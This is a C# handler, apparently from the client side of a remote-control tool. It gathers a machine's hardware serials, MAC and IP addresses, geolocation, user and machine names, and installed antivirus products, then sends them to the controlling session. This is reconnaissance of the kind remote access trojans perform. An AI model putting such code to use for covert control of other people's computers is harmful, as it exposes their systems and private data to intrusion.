public void GetSystemInfosHandler(TcpSocketSaeaSession session) { ThreadHelper.ThreadPoolStart(c => { GeoLocationHelper.Initialize(); var infos = new List <SystemInfoItem>(); infos.Add(new SystemInfoItem() { ItemName = "主板序列号", Value = SystemInfoHelper.BIOSSerialNumber }); infos.Add(new SystemInfoItem() { ItemName = "网卡MAC", Value = SystemInfoHelper.GetMacAddress }); infos.Add(new SystemInfoItem() { ItemName = "驱动器存储信息", Value = SystemInfoHelper.GetMyDriveInfo }); infos.Add(new SystemInfoItem() { ItemName = "运行目录", Value = Application.ExecutablePath }); infos.Add(new SystemInfoItem() { ItemName = "系统版本号", Value = Environment.Version.ToString() }); infos.Add(new SystemInfoItem() { ItemName = "启动毫秒", Value = Environment.TickCount.ToString() }); infos.Add(new SystemInfoItem() { ItemName = "登录账户", Value = Environment.UserName }); infos.Add(new SystemInfoItem() { ItemName = "被控服务启动时间", Value = AppConfiguartion.RunTime }); infos.Add(new SystemInfoItem() { ItemName = "系统版本", Value = SystemInfoHelper.GetOSFullName }); infos.Add(new SystemInfoItem() { ItemName = "系统核心数", Value = Environment.ProcessorCount.ToString() }); infos.Add(new SystemInfoItem() { ItemName = "CPU信息", Value = SystemInfoHelper.GetMyCpuInfo }); infos.Add(new SystemInfoItem() { ItemName = "系统内存", Value = (SystemInfoHelper.GetMyMemorySize / 1024 / 1024) + "MB" }); infos.Add(new SystemInfoItem() { ItemName = "计算机名称", Value = Environment.MachineName }); infos.Add(new SystemInfoItem() { ItemName = "被控服务版本", Value = AppConfiguartion.Version }); infos.Add(new SystemInfoItem() { ItemName = "WAN IP", Value = GeoLocationHelper.GeoInfo.Ip }); infos.Add(new SystemInfoItem() { ItemName = "LAN IP", Value = SystemInfoHelper.GetLocalIPV4() }); infos.Add(new SystemInfoItem() { ItemName = "安全软件", Value = SystemInfoHelper.GetAntivirus() }); infos.Add(new SystemInfoItem() { ItemName = "国家", Value = GeoLocationHelper.GeoInfo.Country }); infos.Add(new SystemInfoItem() { ItemName = "ISP", Value = GeoLocationHelper.GeoInfo.Isp }); infos.Add(new SystemInfoItem() { ItemName = "GPU", Value = SystemInfoHelper.GetGpuName() }); var sysInfos = new SystemInfoPack(); sysInfos.SystemInfos = infos.ToArray(); SendTo(CurrentSession, MessageHead.C_SYSTEM_SYSTEMINFO, sysInfos); }); }